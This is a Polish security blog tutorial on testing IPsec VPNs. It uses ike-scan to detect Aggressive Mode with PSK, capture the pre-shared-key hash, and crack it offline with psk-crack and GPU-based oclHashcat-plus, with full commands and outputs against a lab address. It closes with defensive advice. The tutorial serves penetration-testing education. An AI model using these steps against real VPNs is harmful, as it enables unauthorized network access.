Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Crackowanie VPN na kartach graficznych
Z tekstu dowiesz się:
- Do czego służy narzędzie ike-scan
- Jak w podstawowy sposób testować bezpieczeństwo IPsec
- Jak przyspieszyć cracking offline z wykorzystaniem GPU.
Jednym z niewielu narzędzi mogących pomóc w testach penetracyjnych systemów VPN, opartych o IPsec, jest ike-scan. Wśród wielu różnych możliwości oferowanych przez to narzędzie jest też możliwość wykorzystania/przetestowania problemów bezpieczeństwa przy łączeniu się z serwerem VPN w tzw. trybie agresywnym (Aggressive Mode). W przeciwieństwie do trybu głównego (Main Mode) ma on pewne słabości…
Więcej o trybie agresywnym oraz głównym można przeczytać tutaj, tutaj, lub np. tutaj. W praktyce wygląda to np. tak:
$ ike-scan 192.168.0.103 -M Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 192.168.0.103 Main Mode Handshake returned HDR=(CKY-R=4fe46ba0805fa900) SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080) VID=4f45517b4f7f6e657a7b4351 VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Ending ike-scan 1.9: 1 hosts scanned in 0.010 seconds (103.53 hosts/sec). 1 returned handshake; 0 returned notify
W tym przypadku wykonaliśmy udaną próbę połączenia w trybie głównym (Main Mode Handshake returned). Zobaczmy co odpowie nam serwer VPN, jeśli wymusimy połączenie w trybie agresywnym (-A):
$ ike-scan 192.168.0.103 -M -A --id=192.168.0.103 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 192.168.0.103 Aggressive Mode Handshake returned HDR=(CKY-R=57911ddb947ad9c9) SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080) KeyExchange(128 bytes) Nonce(16 bytes) ID(Type=ID_IPV4_ADDR, Value=192.168.0.103) Hash(20 bytes) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Ending ike-scan 1.9: 1 hosts scanned in 0.018 seconds (56.33 hosts/sec). 1 returned handshake; 0 returned notify
W tym przypadku tryb agresywny jest obsługiwany! (Aggressive Mode Handshake returned). Musieliśmy też podać tzw. identyfikator połączenia (–id) ale często może to być po adres IP serwera VPN czy nawet wartość losowa.
Zauważmy też, że zostało nam zaproponowane uwierzytelnienie metodą PSK (Pre Shared Key – czyli statyczne hasło współdzielone po obu stronach tunelu). Jeśli tak jest (tj. mamy obsługiwany tryb agresywny oraz uwierzytelnianie to PSK), możemy spróbować… pobrać hasło PSK w formie zahashowanej, a następnie użyć crackera do jego odzyskania w formie jawnej. Aby przyspieszyć ten proces zróbmy jeszcze jedną rzecz, sprawdźmy czy zamiast funkcji SHA1 możemy użyć funkcji MD5 (cracking funkcji MD5 jest o wiele szybszy niż SHA1).
$ ike-scan 192.168.0.103 -M --trans=7,1,1,2 -A --id=192.168.0.103 --pskcrack=test1.psk Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 192.168.0.103 Aggressive Mode Handshake returned HDR=(CKY-R=c87221108e50fbe5) SA=(Enc=AES Hash=MD5 Auth=PSK Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080) KeyExchange(128 bytes) Nonce(16 bytes) ID(Type=ID_IPV4_ADDR, Value=192.168.0.103) Hash(16 bytes) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Ending ike-scan 1.9: 1 hosts scanned in 0.014 seconds (73.23 hosts/sec). 1 returned handshake; 0 returned notify
Jak wydać powyżej, funkcja MD5 jest w tym przypadku obsługiwana (wnikliwych czytelników odsyłamy do dokumentacji ike-scan, sekcja: Trying Different Transforms oraz przełącznik: –trans). Odpowiedni parametr (–pskcrack=plik) zapisuje nam w pliku tekstowym dane koniecznie do dalszej analizy. W dalszej kolejności możemy wykorzystać ten plik w jednym z crackerów offline. W pakiecie z ike-scanem dostajemy działający na CPU psk-crack, jednak jest on…bardzo wolny – na przyzwoitej klasy nowym procesorze, to ledwie ponad 300 000 sprawdzeń na sekundę:
$ psk-crack -B 4 test.psk Starting psk-crack [ike-scan 1.9] (http://www.nta-monitor.com/tools/ike-scan/) Running in brute-force cracking mode Brute force with 36 chars up to length 4 will take up to 1679616 iterations key "test" matches SHA1 hash 82b6081b6f961ea420f6e43718c6fda4cd24e708 Ending psk-crack: 1389846 iterations in 4.382 seconds (317172.77 iterations/sec)
Zdecydowanie lepszym pomysłem jest zastosowanie narzędzia oclhashcat-plus.
Udostępniona w lutym 2013r. wersja 0.13 umożliwia m.in. dwa nowe tryby działania: IKE-PSK MD5 oraz IKE-PSK SHA1. Tego nam właśnie potrzeba. Zobaczmy jak spisuje się oclhashcat-plus, działający na karcie Radeon HD5870. Spróbujemy najpierw ataku brute-force na hasło 7 znakowe składające się z małych liter:
$ ./oclHashcat-plus32.bin -m 5300 test0.psk -a 3 ?l?l?l?l?l?l?l oclHashcat-plus v0.13 by atom starting... Hashes: 1 total, 1 unique salts, 1 unique digests Bitmaps: 8 bits, 256 entries, 0x000000ff mask, 1024 bytes Workload: 128 loops, 80 accel Watchdog: Temperature abort trigger set to 90c Watchdog: Temperature retain trigger set to 80c Device #1: Cypress, 512MB, 870Mhz, 20MCU Device #1: Kernel ./kernels/4098/m5300_a3.Cypress_1084.4_1084.4.kernel (951700 bytes) [s]tatus [p]ause [r]esume [b]ypass [q]uit => s Session.Name...: oclHashcat-plus Status.........: Running Input.Mode.....: Mask (?l?l?l?l?l?l?l) Hash.Target....: test0.psk Hash.Type......: IKE-PSK MD5 Time.Started...: Fri Feb 15 16:10:19 2013 (4 secs) Time.Estimated.: Fri Feb 15 16:11:09 2013 (45 secs) Speed.GPU.#1...: 180.3M/s Recovered......: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts Progress.......: 786432000/8031810176 (9.79%) Rejected.......: 0/786432000 (0.00%) HWMon.GPU.#1...: 75% Util, 61c Temp, 26% Fan test0.psk:testowe Session.Name...: oclHashcat-plus Status.........: Cracked Input.Mode.....: Mask (?l?l?l?l?l?l?l) Hash.Target....: test0.psk Hash.Type......: IKE-PSK MD5 Time.Started...: Fri Feb 15 16:10:19 2013 (7 secs) Speed.GPU.#1...: 180.3M/s Recovered......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.......: 1153433600/8031810176 (14.36%) Rejected.......: 0/1153433600 (0.00%) HWMon.GPU.#1...: 98% Util, 58c Temp, 26% Fan Started: Fri Feb 15 16:10:19 2013 Stopped: Fri Feb 15 16:10:26 2013
Jak wydać wyżej hashcat na GPU działa z prędkością 180 milionów hashy na sekundę, a złamanie hasła zajęło…7 sekund. Zwiększmy hasło o 1 znak (czyli mamy 8 znakowe hasło składające się z małych liter):
$ ./oclHashcat-plus32.bin -m 5300 test1.psk -a 3 ?l?l?l?l?l?l?l?l oclHashcat-plus v0.13 by atom starting... Hashes: 1 total, 1 unique salts, 1 unique digests Bitmaps: 8 bits, 256 entries, 0x000000ff mask, 1024 bytes Workload: 128 loops, 80 accel Watchdog: Temperature abort trigger set to 90c Watchdog: Temperature retain trigger set to 80c Device #1: Cypress, 512MB, 870Mhz, 20MCU Device #1: Kernel ./kernels/4098/m5300_a3.Cypress_1084.4_1084.4.kernel (951700 bytes) [s]tatus [p]ause [r]esume [b]ypass [q]uit => s Session.Name...: oclHashcat-plus Status.........: Running Input.Mode.....: Mask (?l?l?l?l?l?l?l?l) Hash.Target....: test1.psk Hash.Type......: IKE-PSK MD5 Time.Started...: Fri Feb 15 16:11:17 2013 (12 secs) Time.Estimated.: Fri Feb 15 16:32:23 2013 (20 mins, 53 secs) Speed.GPU.#1...: 180.3M/s Recovered......: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts Progress.......: 1572864000/208827064576 (0.75%) Rejected.......: 0/1572864000 (0.00%) HWMon.GPU.#1...: 49% Util, 54c Temp, 24% Fan
W tym przypadku pesymistyczny czas działania zwiększył się aż prawie do 21 minut, ale i tak jest nieźle – maksymalnie w tym czasie łamiemy dowolne hasło 8 znakowe składające się z losowej kombinacji małych liter.
Jak się ochronić?
- Nie udostępniamy tuneli IPsec publicznie jeśli nie ma takiej potrzeby
- Nie korzystajmy z trybu agresywnego (wyłączmy go), jeśli nie jest absolutnie wymagany
- Stosujmy złożone hasła PSK
Chcesz wiedzieć więcej? Polecamy:
— michal.sajdak<at>securitum.pl
jestem ciekaw jak jest z legalnoscia serwisow ktore podaja plaintext dla md5 lub dla wep. co jezeli taki serwis zarabia na tym (reklamy badz tez oplata za masowe wrzucenie md5 w celu zwrocenia plaintext)